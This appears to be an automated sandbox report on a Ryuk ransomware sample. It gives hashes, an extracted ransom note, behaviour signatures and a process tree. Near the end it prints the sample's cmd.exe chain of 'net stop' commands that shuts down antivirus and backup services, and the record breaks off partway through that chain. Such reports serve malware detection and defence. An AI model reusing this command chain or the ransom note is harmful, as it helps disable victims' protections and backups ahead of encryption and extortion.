ryuk | 926a1cf61ac26f4b0bb0d1af623d1e22a98f4e53c34342ce20b245aa636d2c85

Analysis

max time kernel
301s
max time network
298s
platform
windows10_x64
resource
win10v20210408
submitted
20-08-2021 06:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Tes.exe
Size

154KB
MD5

a8e947ecf656a8cb91453e469705f574
SHA1

44428090dee86c656388ae49df65557fc5b7082d
SHA256

926a1cf61ac26f4b0bb0d1af623d1e22a98f4e53c34342ce20b245aa636d2c85
SHA512

6d8283073124cc671f152f332729c152d85fcba1e6dad45550ccdd713ce92df1554dae8d5980aa0fd6443eab33b5f9f22828051bfaf6111bfa95ffe05774da19

Score

10^/10

ryuk ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\EncReadMe.html

Family

ryuk

Ransom Note

contact balance of shadow universe Ryuk function info(){alert("INSTRUCTION:\r\nEmail: [email protected] \r\nWe will contact you shortly.");};

Emails

[email protected]

Signatures

Ryuk
Ransomware distributed via existing botnets, often Trickbot or Emotet.
ransomware ryuk
Modifies extensions of user files 1 IoCs
Ransomware generally changes the extension on encrypted files.
ransomware

Processes:

Tes.exe

description ioc process

File created C:\Users\Admin\Pictures\SendRemove.crw.enc Tes.exe

description	ioc	process
File created	C:\Users\Admin\Pictures\SendRemove.crw.enc	Tes.exe

Drops file in Windows directory 2 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdge.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

4076 taskkill.exe

pid	process
4076	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

T1112

Processes:

MicrosoftEdge.exebrowser_broker.exeMicrosoftEdgeCP.exebrowser_broker.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CTLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Privacy\ClearBrowsingHistoryOnStart = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\Favorites	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 709d6ca99e95d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Rating Prompt Shown = "0"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\CTLs	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 1d24df8b702cd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension = "5"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\NextBrowserDataLogTime = a0bb1314d195d701	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url1 = "https://www.facebook.com/"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 9ba9edae9e95d701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\Certificates	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Explorer\Main\OperationalData = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url4 = "https://login.live.com/"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "395205405"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$blogger	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListDOSTime = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\CRLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CRLs	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 1d24df8b702cd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\DatabaseComplete = "1"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\LastClosedWidth = "874"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 3	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 925985c99e95d701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData	MicrosoftEdge.exe

Runs net.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3924 PING.EXE
Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

MicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

pid process

4020 MicrosoftEdgeCP.exe
4020 MicrosoftEdgeCP.exe
4556 MicrosoftEdgeCP.exe
4556 MicrosoftEdgeCP.exe

pid	process
3924	PING.EXE

pid	process
4020	MicrosoftEdgeCP.exe
4020	MicrosoftEdgeCP.exe
4556	MicrosoftEdgeCP.exe
4556	MicrosoftEdgeCP.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

Processes:

Tes.exetaskkill.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	pid	process
Token: SeDebugPrivilege	572	Tes.exe
Token: SeDebugPrivilege	572	Tes.exe
Token: SeDebugPrivilege	4076	taskkill.exe
Token: SeDebugPrivilege	2784	MicrosoftEdge.exe
Token: SeDebugPrivilege	2784	MicrosoftEdge.exe
Token: SeDebugPrivilege	2784	MicrosoftEdge.exe
Token: SeDebugPrivilege	2784	MicrosoftEdge.exe
Token: SeDebugPrivilege	972	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	972	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	972	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	972	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4108	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	4108	MicrosoftEdgeCP.exe
Token: SeDebugPrivilege	2784	MicrosoftEdge.exe

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exe

pid process

2784 MicrosoftEdge.exe
4020 MicrosoftEdgeCP.exe
4020 MicrosoftEdgeCP.exe
4308 MicrosoftEdge.exe
4556 MicrosoftEdgeCP.exe
4556 MicrosoftEdgeCP.exe

pid	process
2784	MicrosoftEdge.exe
4020	MicrosoftEdgeCP.exe
4020	MicrosoftEdgeCP.exe
4308	MicrosoftEdge.exe
4556	MicrosoftEdgeCP.exe
4556	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Tes.execmd.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exenet.exe

description	pid	process	target process
PID 572 wrote to memory of 2784	572	Tes.exe	cmd.exe
PID 572 wrote to memory of 2784	572	Tes.exe	cmd.exe
PID 572 wrote to memory of 2784	572	Tes.exe	cmd.exe
PID 2784 wrote to memory of 1380	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 1380	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 1380	2784	cmd.exe	net.exe
PID 1380 wrote to memory of 3692	1380	net.exe	net1.exe
PID 1380 wrote to memory of 3692	1380	net.exe	net1.exe
PID 1380 wrote to memory of 3692	1380	net.exe	net1.exe
PID 2784 wrote to memory of 2100	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 2100	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 2100	2784	cmd.exe	net.exe
PID 2100 wrote to memory of 2152	2100	net.exe	net1.exe
PID 2100 wrote to memory of 2152	2100	net.exe	net1.exe
PID 2100 wrote to memory of 2152	2100	net.exe	net1.exe
PID 2784 wrote to memory of 3832	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 3832	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 3832	2784	cmd.exe	net.exe
PID 3832 wrote to memory of 4036	3832	net.exe	net1.exe
PID 3832 wrote to memory of 4036	3832	net.exe	net1.exe
PID 3832 wrote to memory of 4036	3832	net.exe	net1.exe
PID 2784 wrote to memory of 1684	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 1684	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 1684	2784	cmd.exe	net.exe
PID 1684 wrote to memory of 2356	1684	net.exe	net1.exe
PID 1684 wrote to memory of 2356	1684	net.exe	net1.exe
PID 1684 wrote to memory of 2356	1684	net.exe	net1.exe
PID 2784 wrote to memory of 3000	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 3000	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 3000	2784	cmd.exe	net.exe
PID 3000 wrote to memory of 3788	3000	net.exe	net1.exe
PID 3000 wrote to memory of 3788	3000	net.exe	net1.exe
PID 3000 wrote to memory of 3788	3000	net.exe	net1.exe
PID 2784 wrote to memory of 2312	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 2312	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 2312	2784	cmd.exe	net.exe
PID 2312 wrote to memory of 2248	2312	net.exe	net1.exe
PID 2312 wrote to memory of 2248	2312	net.exe	net1.exe
PID 2312 wrote to memory of 2248	2312	net.exe	net1.exe
PID 2784 wrote to memory of 408	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 408	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 408	2784	cmd.exe	net.exe
PID 408 wrote to memory of 2792	408	net.exe	net1.exe
PID 408 wrote to memory of 2792	408	net.exe	net1.exe
PID 408 wrote to memory of 2792	408	net.exe	net1.exe
PID 2784 wrote to memory of 2820	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 2820	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 2820	2784	cmd.exe	net.exe
PID 2820 wrote to memory of 3088	2820	net.exe	net1.exe
PID 2820 wrote to memory of 3088	2820	net.exe	net1.exe
PID 2820 wrote to memory of 3088	2820	net.exe	net1.exe
PID 2784 wrote to memory of 4076	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 4076	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 4076	2784	cmd.exe	net.exe
PID 4076 wrote to memory of 4008	4076	net.exe	net1.exe
PID 4076 wrote to memory of 4008	4076	net.exe	net1.exe
PID 4076 wrote to memory of 4008	4076	net.exe	net1.exe
PID 2784 wrote to memory of 2228	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 2228	2784	cmd.exe	net.exe
PID 2784 wrote to memory of 2228	2784	cmd.exe	net.exe
PID 2228 wrote to memory of 3456	2228	net.exe	net1.exe
PID 2228 wrote to memory of 3456	2228	net.exe	net1.exe
PID 2228 wrote to memory of 3456	2228	net.exe	net1.exe
PID 2784 wrote to memory of 3560	2784	cmd.exe	net.exe

C:\Users\Admin\AppData\Local\Temp\Tes.exe
"C:\Users\Admin\AppData\Local\Temp\Tes.exe"
1⤵
- Modifies extensions of user files
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:572

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c net stop Acronis VSS Provider /y & net stop Enterprise Client Service /y & net stop Sophos Agent /y & net stop Sophos AutoUpdate Service /y & net stop Sophos Clean Service /y & net stop Sophos Device Control Service /y & net stop Sophos File Scanner Service /y & net stop Sophos Health Service /y & net stop Sophos MCS Agent /y & net stop Sophos MCS Client /y & net stop Sophos Message Router /y & net stop Sophos SafeStore Service /y & net stop Sophos Protection System Service /y & net stop Sophos Web Control Service /y & net stop SQLsafe ?????????? ??????????? ?????? /y & net stop SQLsafe Filter Service /y & net stop Symantec System Recovery /y & net stop Veeam Backup Service Data Catalog /y & net stop AcronisAgent /y & net stop AcrSch2Svc /y & net stop Antivirus /y & net stop ARSM /y & net stop BackupExecAgentAccelerator /y & net stop BackupExecAgentBrowser /y & net stop BackupExecDeviceMediaService /y & net stop BackupExecJobEngine /y & net stop BackupExecManagementService /y & net stop BackupExecRPCService /y & net stop BackupExecVSSProvider /y & net stop bedbg /y & net stop DCAgent /y & net stop EPSecurityService /y & net stop EPUpdateService /y & net stop EraserSvc11710 /y & net stop EsgShKernel /y & net stop FA_Scheduler /y & net stop IISAdmin /y & net stop IMAP4Svc /y & net stop macmnsvc /y & net stop masvc /y & net stop MBAMService /y & net stop MBEndpointAgent /y & net stop 